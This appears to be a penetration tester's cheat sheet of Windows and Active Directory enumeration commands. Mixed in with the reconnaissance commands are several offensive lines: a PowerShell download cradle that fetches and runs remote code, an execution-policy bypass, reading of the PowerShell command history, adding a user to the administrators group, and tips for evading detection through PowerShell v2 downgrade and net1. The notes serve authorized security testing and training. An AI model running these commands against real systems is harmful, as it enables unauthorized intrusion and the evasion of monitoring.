Tags
AuthenticatedOPSECLocal
OS Context
β£
systeminfo
Powershell
Get-Module
Get-ExecutionPolicy -List
Set-ExecutionPolicy Bypass -Scope Process
Get-ChildItem Env: | ft Key,Value
Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('URL to download the file from'); <follow-on commands>"
OPSEC Techniques
powershell.exe -version 2
Get-Host
)Checking Defenses
netsh advfirewall show allprofiles
sc query windefend
Get-MpComputerStatus
Other users on host?
qwinsta
Network Information
arp -a
ipconfig /all
route print
Using arp -a and route print will not only benefit in enumerating AD environments, but will also assist us in identifying opportunities to pivot to different network segments in any environment.
Windows Management Instrumentation (WMI)
wmic qfe get Caption,Description,HotFixID,InstalledOn
wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List
wmic process list /format:list
wmic ntdomain list /format:list
wmic useraccount list /format:list
wmic group list /format:list
wmic sysaccount list /format:list
Gist Useful Wmic queries for host and domain enumeration
Net Commands
net accounts
net accounts /domain
net group /domain
net group "Domain Admins" /domain
net group "domain computers" /domain
net group "Domain Controllers" /domain
net group <domain_group_name> /domain
net groups /domain
List of domain groups
net localgroup
net localgroup administrators /domain
net localgroup Administrators
net localgroup administrators [username] /add
net share
net user <ACCOUNT_NAME> /domain
net user /domain
net user %username%
Information about the current user
net use x: \computer\share
net view
net view /all /domain[:domainname]
Shares on the domains
net view /domain
OPSEC
Typing net1
instead of net
will execute the same functions without the potential trigger from the net string.
Dsquery
C:\Windows\System32\dsquery.dll
Elevated privs required for dsquery
dsquery user
dsquery computer
We can use a dsquery wildcard search to view all objects in an OU, for example.
dsquery * "CN=Users,DC=DOMAIN,DC=LOCAL"
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl
dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -limit 5 -attr sAMAccountName